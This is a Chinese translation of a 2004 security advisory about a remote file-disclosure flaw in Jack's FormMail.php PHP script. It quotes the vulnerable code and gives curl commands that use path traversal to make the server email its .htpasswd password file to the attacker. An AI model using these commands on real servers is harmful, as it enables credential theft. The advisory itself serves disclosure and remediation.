翻译:剑心[B.C.T]
翻译网站:
http://www.bnso.net
安全通告:<
1104534398.3963.60.camel@buskin.opriver.com>
漏洞主题:Jacks FormMail.php远程文件浏览漏洞
发布日期:2004.12.31日下午11:06
漏洞发布:Hack Hawk <hh hackhawk net>
厂商:Jack (Jack's Scripts)
日期:31-Dec-2004
脚本:FormMail.php
站点:
http://dtheatre.com/scripts/formmail.php
方式:远程
等级:高
版本:5.0以及其他可能版本
脚本介绍:
Jacks FormMail.php脚本是个简单的PHp脚本使站点拥有者不需要太多的脚本知识就可以方便地给他们自己传送表单。
问题所在:
当前的脚本接受一个自动回复的变量(ar_file)来指定需要传送给提交表单的人文件的路径。但是问题存在于变量可以被提交表单的人定义并且用来获得服务器上的任何文件。
我发现该漏洞是因为一些人用这个漏洞来攻击我的客户。因为该脚本被广泛使用,于是我没有等Jack修补该脚本就立即向BUGTRAQ报告了该漏洞。
解决办法:
删掉FormMail.php脚本中的以下代码
------------------------------------------------------
if (file_exists($ar_file)) {
$fd = fopen($ar_file, "rb");
$ar_message = fread($fd, filesize($ar_file));
fclose($fd);
mail_it($ar_message, ($ar_subject)?stripslashes($ar_subject):"RE:
Form Submission", ($ar_from)?$ar_from:$recipient, $email);
}
------------------------------------------------------
攻击示例:
假设漏洞地址:
http://yoursite.com/cgi-bin/formmail.php
密码文件地址:
http://yoursite.com/members/.htpasswd
使用以下的curl命令来获得密码文件并且发送给你.
# curl -e
http://yoursite.com/ -d ar_file=../members/.htpasswd -d
email=you yoursite com
http://yoursite.com/cgi-bin/formmail.php
由于权限的设置,.htpasswd可能要修改一下,甚至他不在html目录下(如下面的例子)
# curl -e
http://yoursite.com/ -d ar_file=../../.htpasswd -d
email=you yoursite com
http://yoursite.com/cgi-bin/formmail.php